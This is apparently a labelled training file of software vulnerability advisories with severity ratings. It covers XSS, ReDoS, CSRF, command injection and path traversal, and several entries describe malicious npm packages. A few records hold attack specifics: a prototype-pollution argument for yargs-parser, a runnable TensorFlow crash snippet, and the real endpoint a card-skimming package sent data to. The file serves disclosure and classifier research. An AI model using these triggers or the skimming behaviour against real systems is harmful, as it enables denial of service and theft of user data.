-{"id": "3c1cf6b5352e3a55ff90", "text": "Observable Timing Discrepancy in aaugustin websockets library\n\nThe aaugustin websockets library before 9.1 for Python has an Observable Timing Discrepancy on servers when HTTP Basic Authentication is enabled with basic_auth_protocol_factory(credentials=...). An attacker may be able to guess a password via a timing attack.", "text_raw": "Observable Timing Discrepancy in aaugustin websockets library\n\n[Severity: HIGH]\n\nThe aaugustin websockets library before 9.1 for Python has an Observable Timing Discrepancy on servers when HTTP Basic Authentication is enabled with basic_auth_protocol_factory(credentials=...). An attacker may be able to guess a password via a timing attack.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-11", "split": "train"}
-{"id": "4e15a5937f2eb1ffcdc8", "text": "Edit feed settings  and others, Cross Site Scripting(XSS) Vulnerability in Latest Release 4.4.0\n\nbaserCMS 4.4.0 and earlier is affected by Cross Site Scripting (XSS).\n\nImpact: XSS via Arbitrary script execution.\nAttack vector is: Administrator must be logged in.\nComponents are: Edit feed settings, Edit widget area, Sub site new registration, New category registration\nTested baserCMS Version : 4.4.0 (Latest)\nAffected baserCMS Version : 4.0.0 ~ 4.4.0\nPatches : https://basercms.net/security/20201029\nFound by Aquilao Null", "text_raw": "Edit feed settings  and others, Cross Site Scripting(XSS) Vulnerability in Latest Release 4.4.0\n\n[Severity: LOW]\n\nbaserCMS 4.4.0 and earlier is affected by Cross Site Scripting (XSS).\n\nImpact: XSS via Arbitrary script execution.\nAttack vector is: Administrator must be logged in.\nComponents are: Edit feed settings, Edit widget area, Sub site new registration, New category registration\nTested baserCMS Version : 4.4.0 (Latest)\nAffected baserCMS Version : 4.0.0 ~ 4.4.0\nPatches : https://basercms.net/security/20201029\nFound by Aquilao Null", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-11-04", "split": "train"}
-{"id": "3b9b77338269bf54242e", "text": "Adobe InDesign CS3 INDD File Handling Buffer Overflow Vulnerability", "text_raw": "Adobe InDesign CS3 INDD File Handling Buffer Overflow Vulnerability\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2010-06-04", "split": "train"}
-{"id": "a34efee387e519ee607f", "text": "Cross-Site Scripting in forms\n\nAffected versions of `forms` do not properly escape HTML in generated forms, which may result in cross-site scripting.\n\n## Recommendation\n\nUpdate to version 1.3.0 or later.", "text_raw": "Cross-Site Scripting in forms\n\n[Severity: MEDIUM]\n\nAffected versions of `forms` do not properly escape HTML in generated forms, which may result in cross-site scripting.\n\n\n## Recommendation\n\nUpdate to version 1.3.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
-{"id": "177e8724e2332578e51c", "text": "yargs-parser Vulnerable to Prototype Pollution\n\nAffected versions of `yargs-parser` are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of `Object`, causing the addition or modification of an existing property that will exist on all objects.  \nParsing the argument `--foo.__proto__.bar baz'` adds a `bar` property with value `baz` to all objects. This is only exploitable if attackers have control over the arguments being passed to `yargs-parser`.\n\n## Recommendation\n\nUpgrade to versions 13.1.2, 15.0.1, 18.1.1 or later.", "text_raw": "yargs-parser Vulnerable to Prototype Pollution\n\n[Severity: MEDIUM]\n\nAffected versions of `yargs-parser` are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of `Object`, causing the addition or modification of an existing property that will exist on all objects.  \nParsing the argument `--foo.__proto__.bar baz'` adds a `bar` property with value `baz` to all objects. This is only exploitable if attackers have control over the arguments being passed to `yargs-parser`.\n\n\n\n## Recommendation\n\nUpgrade to versions 13.1.2, 15.0.1, 18.1.1 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "3a782787624229906ddf", "text": "Regular Expression Denial of Service in marked\n\nAffected versions of `marked` are vulnerable to Regular Expression Denial of Service (ReDoS). The `_label` subrule may significantly degrade parsing performance of malformed input.\n\n## Recommendation\n\nUpgrade to version 0.7.0 or later.", "text_raw": "Regular Expression Denial of Service in marked\n\n[Severity: LOW]\n\nAffected versions of `marked` are vulnerable to Regular Expression Denial of Service (ReDoS). The `_label` subrule may significantly degrade parsing performance of malformed input.\n\n\n## Recommendation\n\nUpgrade to version 0.7.0 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "84c6c5b8c19306d59a75", "text": "Depth counting error in guard() leading to multiple potential security issues in aioxmpp\n\n### Impact\nPossible remote Denial of Service or Data Injection.\n\n### Patches\nPatches are available in https://github.com/horazont/aioxmpp/pull/268. They have been backported to the 0.10 release series and 0.10.3 is the first release to contain the fix.\n\n### Workarounds\nTo make the bug exploitable, an error suppressing ``xso_error_handler`` is required. By not using ``xso_error_handlers`` or not using the suppression function, the vulnerability can be mitigated completely (to our knowledge).\n\n### References\nThe pull request contains a detailed description: https://github.com/horazont/aioxmpp/pull/268\n\n### For more information\nIf you have any questions or comments about this advisory:\n* [Join our chat](xmpp:aioxmpp@conference.zombofant.net?join)\n* Email the maintainer [Jonas Schäfer](mailto:jonas@wielicki.name)", "text_raw": "Depth counting error in guard() leading to multiple potential security issues in aioxmpp\n\n[Severity: HIGH]\n\n### Impact\nPossible remote Denial of Service or Data Injection.\n\n### Patches\nPatches are available in https://github.com/horazont/aioxmpp/pull/268. They have been backported to the 0.10 release series and 0.10.3 is the first release to contain the fix.\n\n### Workarounds\nTo make the bug exploitable, an error suppressing ``xso_error_handler`` is required. By not using ``xso_error_handlers`` or not using the suppression function, the vulnerability can be mitigated completely (to our knowledge).\n\n### References\nThe pull request contains a detailed description: https://github.com/horazont/aioxmpp/pull/268\n\n### For more information\nIf you have any questions or comments about this advisory:\n* [Join our chat](xmpp:aioxmpp@conference.zombofant.net?join)\n* Email the maintainer [Jonas Schäfer](mailto:jonas@wielicki.name)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-29", "split": "train"}
-{"id": "13d24f10f4e35cee7f3e", "text": "Clipboard feature vulnerability allowing to inject arbitrary HTML into the editor using paste functionality\n\n### Affected packages\nThe vulnerability has been discovered in [clipboard](https://ckeditor.com/cke4/addon/clipboard) plugin. All plugins with [clipboard](https://ckeditor.com/cke4/addon/clipboard) plugin dependency are affected:\n\n* [clipboard](https://ckeditor.com/cke4/addon/clipboard)\n* [pastetext](https://ckeditor.com/cke4/addon/pastetext)\n* [pastetools](https://ckeditor.com/cke4/addon/pastetools)\n* [widget](https://ckeditor.com/cke4/addon/widget)\n* [uploadwidget](https://ckeditor.com/cke4/addon/uploadwidget)\n* [autolink](https://ckeditor.com/cke4/addon/autolink)\n* [tableselection](https://ckeditor.com/cke4/addon/tableselection)\n\n### Impact\nA potential vulnerability has been discovered in CKEditor 4 [Clipboard](https://ckeditor.com/cke4/addon/clipboard) package. The vulnerability allowed to abuse paste functionality using malformed HTML, which could result in injecting arbitrary HTML into the editor. It affects all users using the CKEditor 4 plugins listed above at version >= 4.5.2.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 4.16.2.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 4 team would like to thank Anton Subbotin ([skavans](https://github.com/skavans)) for recognizing and reporting this vulnerability.", "text_raw": "Clipboard feature vulnerability allowing to inject arbitrary HTML into the editor using paste functionality\n\n[Severity: MEDIUM]\n\n### Affected packages\nThe vulnerability has been discovered in [clipboard](https://ckeditor.com/cke4/addon/clipboard) plugin. All plugins with [clipboard](https://ckeditor.com/cke4/addon/clipboard) plugin dependency are affected:\n\n* [clipboard](https://ckeditor.com/cke4/addon/clipboard)\n* [pastetext](https://ckeditor.com/cke4/addon/pastetext)\n* [pastetools](https://ckeditor.com/cke4/addon/pastetools)\n* [widget](https://ckeditor.com/cke4/addon/widget)\n* [uploadwidget](https://ckeditor.com/cke4/addon/uploadwidget)\n* [autolink](https://ckeditor.com/cke4/addon/autolink)\n* [tableselection](https://ckeditor.com/cke4/addon/tableselection)\n\n### Impact\nA potential vulnerability has been discovered in CKEditor 4 [Clipboard](https://ckeditor.com/cke4/addon/clipboard) package. The vulnerability allowed to abuse paste functionality using malformed HTML, which could result in injecting arbitrary HTML into the editor. It affects all users using the CKEditor 4 plugins listed above at version >= 4.5.2.\n\n### Patches\nThe problem has been recognized and patched. The fix will be available in version 4.16.2.\n\n### For more information\nEmail us at security@cksource.com if you have any questions or comments about this advisory.\n\n### Acknowledgements\nThe CKEditor 4 team would like to thank Anton Subbotin ([skavans](https://github.com/skavans)) for recognizing and reporting this vulnerability.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "5fce40774496447963b5", "text": "Plone allows remote attackers to read hidden folder contents\n\nftp.py in Plone before 4.2.3 and 4.3 before beta 1 allows remote attackers to read hidden folder contents via unspecified vectors.", "text_raw": "Plone allows remote attackers to read hidden folder contents\n\n[Severity: HIGH]\n\nftp.py in Plone before 4.2.3 and 4.3 before beta 1 allows remote attackers to read hidden folder contents via unspecified vectors.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "a5cec7459e1c9882f02a", "text": "Django Rest Framework jwt allows obtaining new token from notionally invalidated token\n\nAn issue was discovered in drf-jwt 1.15.x before 1.15.1. It allows attackers with access to a notionally invalidated token to obtain a new, working token via the refresh endpoint, because the blacklist protection mechanism is incompatible with the token-refresh feature. NOTE: drf-jwt is a fork of jpadilla/django-rest-framework-jwt, which is unmaintained.", "text_raw": "Django Rest Framework jwt allows obtaining new token from notionally invalidated token\n\n[Severity: CRITICAL]\n\nAn issue was discovered in drf-jwt 1.15.x before 1.15.1. It allows attackers with access to a notionally invalidated token to obtain a new, working token via the refresh endpoint, because the blacklist protection mechanism is incompatible with the token-refresh feature. NOTE: drf-jwt is a fork of jpadilla/django-rest-framework-jwt, which is unmaintained.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-05", "split": "train"}
-{"id": "1105524b18eed18352c2", "text": "Regular Expression Denial of Service in markdown\n\nAll versions of `markdown` are vulnerable to Regular Expression Denial of Service (ReDoS). The `markdown.toHTML()` function has significantly degraded performance when parsing long strings containing underscores. This may lead to Denial of Service if the parser accepts user input.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Regular Expression Denial of Service in markdown\n\n[Severity: LOW]\n\nAll versions of `markdown` are vulnerable to Regular Expression Denial of Service (ReDoS). The `markdown.toHTML()` function has significantly degraded performance when parsing long strings containing underscores. This may lead to Denial of Service if the parser accepts user input.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "2caa1040ce7d7c76ca4a", "text": "CSRF vulnerability in save-server\n\n### Impact\nVersions prior to version v1.05 are affected by a CSRF vulnerability, as there is no CSRF mitigation (Tokens etc.). The fix introduced in version v1.05 unintentionally breaks uploading so version v1.0.7 is the fixed version.\n\nThis is patched by implementing [Double submit](https://medium.com/cross-site-request-forgery-csrf/double-submit-cookie-pattern-65bb71d80d9f).\n\nThe CSRF attack would require you to navigate to a malicious site while you have an active session with Save-Server (Session key stored in cookies). The malicious user would then be able to perform some actions, including:\n- Upload file\n- Delete file\n- Add redirect\n\n#### If you are logged in as root, this attack is significantly more severe. They can (in addition to the above):\n- Create users\n- Delete users\n- Update users (change password)\n\nIf they updated the password of a user, that user's files would then be available. If the root password is updated, all files would be visible if they logged in with the new password.\n\nNote that due to the same origin policy malicious actors cannot view the gallery or the response of any of the methods, nor be sure they succeeded. \n### Patches\nThis issue has been patched. Update to version v1.0.7 or above to benefit from this fix.\n\n### Workarounds\nNone. You should upgrade.\n\n### References\nWhat is CSRF: https://owasp.org/www-community/attacks/csrf\nFix type: https://medium.com/cross-site-request-forgery-csrf/double-submit-cookie-pattern-65bb71d80d9f\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Save-server](https://github.com/Neztore/save-server/)\n* Email us at [hi@nezto.re](mailto:hi@nezto.re)\n* Join our discord (preferred): [Invite](https://discord.gg/QevWabU)", "text_raw": "CSRF vulnerability in save-server\n\n[Severity: MEDIUM]\n\n### Impact\nVersions prior to version v1.05 are affected by a CSRF vulnerability, as there is no CSRF mitigation (Tokens etc.). The fix introduced in version v1.05 unintentionally breaks uploading so version v1.0.7 is the fixed version.\n\nThis is patched by implementing [Double submit](https://medium.com/cross-site-request-forgery-csrf/double-submit-cookie-pattern-65bb71d80d9f).\n\nThe CSRF attack would require you to navigate to a malicious site while you have an active session with Save-Server (Session key stored in cookies). The malicious user would then be able to perform some actions, including:\n- Upload file\n- Delete file\n- Add redirect\n\n\n#### If you are logged in as root, this attack is significantly more severe. They can (in addition to the above):\n- Create users\n- Delete users\n- Update users (change password)\n\nIf they updated the password of a user, that user's files would then be available. If the root password is updated, all files would be visible if they logged in with the new password.\n\nNote that due to the same origin policy malicious actors cannot view the gallery or the response of any of the methods, nor be sure they succeeded. \n### Patches\nThis issue has been patched. Update to version v1.0.7 or above to benefit from this fix.\n\n### Workarounds\nNone. You should upgrade.\n\n### References\nWhat is CSRF: https://owasp.org/www-community/attacks/csrf\nFix type: https://medium.com/cross-site-request-forgery-csrf/double-submit-cookie-pattern-65bb71d80d9f\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Save-server](https://github.com/Neztore/save-server/)\n* Email us at [hi@nezto.re](mailto:hi@nezto.re)\n* Join our discord (preferred): [Invite](https://discord.gg/QevWabU) ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-04", "split": "train"}
-{"id": "2f3cd0d7129185bf78cd", "text": "Sandbox Breakout / Arbitrary Code Execution in value-censorship\n\nAll versions of `value-censorship` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to validate async function constructors allowing attackers to execute arbitrary code.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in value-censorship\n\n[Severity: MEDIUM]\n\nAll versions of `value-censorship` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to validate async function constructors allowing attackers to execute arbitrary code.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "55e9f08da6e044235fd7", "text": "Possible DoS Vulnerability in Action Controller Token Authentication\n\nThere is a possible DoS vulnerability in the Token Authentication logic in Action Controller.\n\nVersions Affected:  >= 4.0.0\nNot affected:       < 4.0.0\nFixed Versions:     6.1.3.2, 6.0.3.7, 5.2.4.6, 5.2.6\n\nImpact\n------\nImpacted code uses `authenticate_or_request_with_http_token` or `authenticate_with_http_token` for request authentication.  Impacted code will look something like this:\n\n```\nclass PostsController < ApplicationController\n  before_action :authenticate\n\nprivate\n\ndef authenticate\n    authenticate_or_request_with_http_token do |token, options|\n      # ...\n    end\n  end\nend\n```\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nWorkarounds\n-----------\nThe following monkey patch placed in an initializer can be used to work around the issue:\n\n```ruby\nmodule ActionController::HttpAuthentication::Token\n  AUTHN_PAIR_DELIMITERS = /(?:,|;|\\t)/\nend\n```\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 5-2-http-authentication-dos.patch - Patch for 5.2 series\n* 6-0-http-authentication-dos.patch - Patch for 6.0 series\n* 6-1-http-authentication-dos.patch - Patch for 6.1 series\n\nPlease note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits\n-------\nThank you to https://hackerone.com/wonda_tea_coffee for reporting this issue!", "text_raw": "Possible DoS Vulnerability in Action Controller Token Authentication\n\n[Severity: HIGH]\n\nThere is a possible DoS vulnerability in the Token Authentication logic in Action Controller.\n\nVersions Affected:  >= 4.0.0\nNot affected:       < 4.0.0\nFixed Versions:     6.1.3.2, 6.0.3.7, 5.2.4.6, 5.2.6\n\nImpact\n------\nImpacted code uses `authenticate_or_request_with_http_token` or `authenticate_with_http_token` for request authentication.  Impacted code will look something like this:\n\n```\nclass PostsController < ApplicationController\n  before_action :authenticate\n\n  private\n\n  def authenticate\n    authenticate_or_request_with_http_token do |token, options|\n      # ...\n    end\n  end\nend\n```\n\nAll users running an affected release should either upgrade or use one of the workarounds immediately.\n\nReleases\n--------\nThe fixed releases are available at the normal locations.\n\nWorkarounds\n-----------\nThe following monkey patch placed in an initializer can be used to work around the issue:\n\n```ruby\nmodule ActionController::HttpAuthentication::Token\n  AUTHN_PAIR_DELIMITERS = /(?:,|;|\\t)/\nend\n```\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 5-2-http-authentication-dos.patch - Patch for 5.2 series\n* 6-0-http-authentication-dos.patch - Patch for 6.0 series\n* 6-1-http-authentication-dos.patch - Patch for 6.1 series\n\nPlease note that only the 6.1.Z, 6.0.Z, and 5.2.Z series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits\n-------\nThank you to https://hackerone.com/wonda_tea_coffee for reporting this issue!", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-05", "split": "train"}
-{"id": "a694fa78047bdc8c6c5f", "text": "Unexpected server crash in Next.js.\n\nNext.js is a React framework. In versions of Next.js prior to 12.0.5 or 11.1.3, invalid or malformed URLs could lead to a server crash. In order to be affected by this issue, the deployment must use Next.js versions above 11.1.0 and below 12.0.5, Node.js above 15.0.0, and next start or a custom server. Deployments on Vercel are not affected, along with similar environments where invalid requests are filtered before reaching Next.js. Versions 12.0.5 and 11.1.3 contain patches for this issue. Note that prior version 0.9.9 package `next` hosted a different utility (0.4.1 being the latest version of that codebase), and this advisory does not apply to those versions.", "text_raw": "Unexpected server crash in Next.js.\n\n[Severity: HIGH]\n\nNext.js is a React framework. In versions of Next.js prior to 12.0.5 or 11.1.3, invalid or malformed URLs could lead to a server crash. In order to be affected by this issue, the deployment must use Next.js versions above 11.1.0 and below 12.0.5, Node.js above 15.0.0, and next start or a custom server. Deployments on Vercel are not affected, along with similar environments where invalid requests are filtered before reaching Next.js. Versions 12.0.5 and 11.1.3 contain patches for this issue. Note that prior version 0.9.9 package `next` hosted a different utility (0.4.1 being the latest version of that codebase), and this advisory does not apply to those versions. ", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-07", "split": "train"}
-{"id": "192be9f9b1b0ff4da798", "text": "Malicious Package in pm-controls\n\nVersion 1.1.8 of `pm-controls` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised. Users may downgrade to 1.1.7", "text_raw": "Malicious Package in pm-controls\n\n[Severity: CRITICAL]\n\nVersion 1.1.8 of `pm-controls` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised. Users may downgrade to 1.1.7", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "08414ce36732679c9fc1", "text": "OS Command Injection in gulp-tape\n\ngulp-tape through 1.0.0 allows execution of arbitrary commands. It is possible to inject arbitrary commands as part of `gulp-tape` options.", "text_raw": "OS Command Injection in gulp-tape\n\n[Severity: CRITICAL]\n\ngulp-tape through 1.0.0 allows execution of arbitrary commands. It is possible to inject arbitrary commands as part of `gulp-tape` options.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "ce47bbee8655053732dc", "text": "Null pointer dereference in `SparseFillEmptyRows`\n\n### Impact\nAn attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.SparseFillEmptyRows`:\n\n```python\nimport tensorflow as tf\n\nindices = tf.constant([], shape=[0, 0], dtype=tf.int64)\nvalues = tf.constant([], shape=[0], dtype=tf.int64)\ndense_shape = tf.constant([], shape=[0], dtype=tf.int64)\ndefault_value = 0\n\ntf.raw_ops.SparseFillEmptyRows(\n    indices=indices, values=values, dense_shape=dense_shape,\n    default_value=default_value)\n```\n\nThis is because of missing [validation](https://github.com/tensorflow/tensorflow/blob/fdc82089d206e281c628a93771336bf87863d5e8/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L230-L231) that was covered under a `TODO`. If the `dense_shape` tensor is empty, then `dense_shape_t.vec<>()` would cause a null pointer dereference in the implementation of the op:\n\n```cc\ntemplate <typename T, typename Tindex>\nstruct SparseFillEmptyRows<CPUDevice, T, Tindex> {\n  Status operator()(OpKernelContext* context, const Tensor& default_value_t,\n                    const Tensor& indices_t, const Tensor& values_t,\n                    const Tensor& dense_shape_t,\n                    typename AsyncOpKernel::DoneCallback done) {\n    ...\n    const auto dense_shape = dense_shape_t.vec<Tindex>();\n    ... \n  }\n}\n```\n\n### Patches\nWe have patched the issue in GitHub commit [faa76f39014ed3b5e2c158593b1335522e573c7f](https://github.com/tensorflow/tensorflow/commit/faa76f39014ed3b5e2c158593b1335522e573c7f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Null pointer dereference in `SparseFillEmptyRows`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can trigger a null pointer dereference in the implementation of `tf.raw_ops.SparseFillEmptyRows`:\n\n```python\nimport tensorflow as tf\n\nindices = tf.constant([], shape=[0, 0], dtype=tf.int64)\nvalues = tf.constant([], shape=[0], dtype=tf.int64)\ndense_shape = tf.constant([], shape=[0], dtype=tf.int64)\ndefault_value = 0\n    \ntf.raw_ops.SparseFillEmptyRows(\n    indices=indices, values=values, dense_shape=dense_shape,\n    default_value=default_value)\n```\n\nThis is because of missing [validation](https://github.com/tensorflow/tensorflow/blob/fdc82089d206e281c628a93771336bf87863d5e8/tensorflow/core/kernels/sparse_fill_empty_rows_op.cc#L230-L231) that was covered under a `TODO`. If the `dense_shape` tensor is empty, then `dense_shape_t.vec<>()` would cause a null pointer dereference in the implementation of the op:\n\n```cc\ntemplate <typename T, typename Tindex>\nstruct SparseFillEmptyRows<CPUDevice, T, Tindex> {\n  Status operator()(OpKernelContext* context, const Tensor& default_value_t,\n                    const Tensor& indices_t, const Tensor& values_t,\n                    const Tensor& dense_shape_t,\n                    typename AsyncOpKernel::DoneCallback done) {\n    ...\n    const auto dense_shape = dense_shape_t.vec<Tindex>();\n    ... \n  }\n}\n``` \n\n### Patches\nWe have patched the issue in GitHub commit [faa76f39014ed3b5e2c158593b1335522e573c7f](https://github.com/tensorflow/tensorflow/commit/faa76f39014ed3b5e2c158593b1335522e573c7f).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "3be460de6f975f9677f7", "text": "Path Traversal in glance\n\nVersions of `glance` before 3.0.4 are vulnerable to a Path Traversal vulnerability due to lack of validation of path passed to it, which allows a malicious user to read content of any file with known path.\n\n## Recommendation\n\nUpdate to version 3.0.4 or later.", "text_raw": "Path Traversal in glance\n\n[Severity: MEDIUM]\n\nVersions of `glance` before 3.0.4 are vulnerable to a Path Traversal vulnerability due to lack of validation of path passed to it, which allows a malicious user to read content of any file with known path.\n\n\n## Recommendation\n\nUpdate to version 3.0.4 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-26", "split": "train"}
-{"id": "160cbbc5b28cb252062e", "text": "Improper Input Validation and Buffer Over-read in mqtt-packet\n\nA specifically malformed MQTT Subscribe packet crashes MQTT Brokers using the mqtt-packet module versions < 3.5.1, 4.0.0 - 4.1.3, 5.0.0 - 5.6.1, 6.0.0 - 6.1.2 for decoding.", "text_raw": "Improper Input Validation and Buffer Over-read in mqtt-packet\n\n[Severity: HIGH]\n\nA specifically malformed MQTT Subscribe packet crashes MQTT Brokers using the mqtt-packet module versions < 3.5.1, 4.0.0 - 4.1.3, 5.0.0 - 5.6.1, 6.0.0 - 6.1.2 for decoding.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-14", "split": "train"}
-{"id": "d2f9af9512d0f3ee2f0a", "text": "Malicious Package in motiv.scss\n\nVersion 0.4.20 of `motiv.scss` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.", "text_raw": "Malicious Package in motiv.scss\n\n[Severity: CRITICAL]\n\nVersion 0.4.20 of `motiv.scss` contained malicious code. The code when executed in the browser would enumerate password, cvc and cardnumber fields from forms and send the extracted values to `https://js-metrics.com/minjs.php?pl=`\n\n\n\n## Recommendation\n\nRemove the package from your environment and evaluate your application to determine whether or not user data was compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-11", "split": "train"}
-{"id": "3c4cf371300b476827f3", "text": "Command Injection in pdfinfojs\n\nVersions of `pdfinfojs` before 0.4.1 are vulnerable to command injection. This is exploitable if an attacker can control the filename parameter that is passed into the `pdfinfojs` constructor.\n\n## Recommendation\n\nUpdate to version 0.4.1 or later.", "text_raw": "Command Injection in pdfinfojs\n\n[Severity: CRITICAL]\n\nVersions of `pdfinfojs` before 0.4.1 are vulnerable to command injection. This is exploitable if an attacker can control the filename parameter that is passed into the `pdfinfojs` constructor.\n\n\n## Recommendation\n\nUpdate to version 0.4.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-06-07", "split": "train"}
-{"id": "b4b4107c7491be2ce5f3", "text": "Script injection\n\n### Impact\n\nA malicious internal actor is able to upload documentation content with malicious scripts. These scripts would normally be sanitized by the TechDocs frontend, but by tricking a user to visit the content via the TechDocs API, the content sanitazion will be bypassed. If the TechDocs API is hosted on the same origin as the Backstage app or other backend plugins, this may give access to sensitive data.\n\nThe ability to upload malicious content may be limited by internal code review processes, unless the chosen TechDocs deployment method is to use an object store and the actor has access to upload files directly to that store.\n\n### Patches\n\nThe vulnerability is patched in the `0.6.4` release of `@backstage/techdocs-common`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)", "text_raw": "Script injection\n\n[Severity: MEDIUM]\n\n### Impact\n\nA malicious internal actor is able to upload documentation content with malicious scripts. These scripts would normally be sanitized by the TechDocs frontend, but by tricking a user to visit the content via the TechDocs API, the content sanitazion will be bypassed. If the TechDocs API is hosted on the same origin as the Backstage app or other backend plugins, this may give access to sensitive data.\n\nThe ability to upload malicious content may be limited by internal code review processes, unless the chosen TechDocs deployment method is to use an object store and the actor has access to upload files directly to that store.\n\n### Patches\n\nThe vulnerability is patched in the `0.6.4` release of `@backstage/techdocs-common`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in the [Backstage repository](https://github.com/backstage/backstage)\n* Visit our chat, linked to in [Backstage README](https://github.com/backstage/backstage)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-04", "split": "train"}
-{"id": "0773f6d88d24c94818a4", "text": "Malicious Package in ns-sha3\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in ns-sha3\n\n[Severity: CRITICAL]\n\nVersion 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
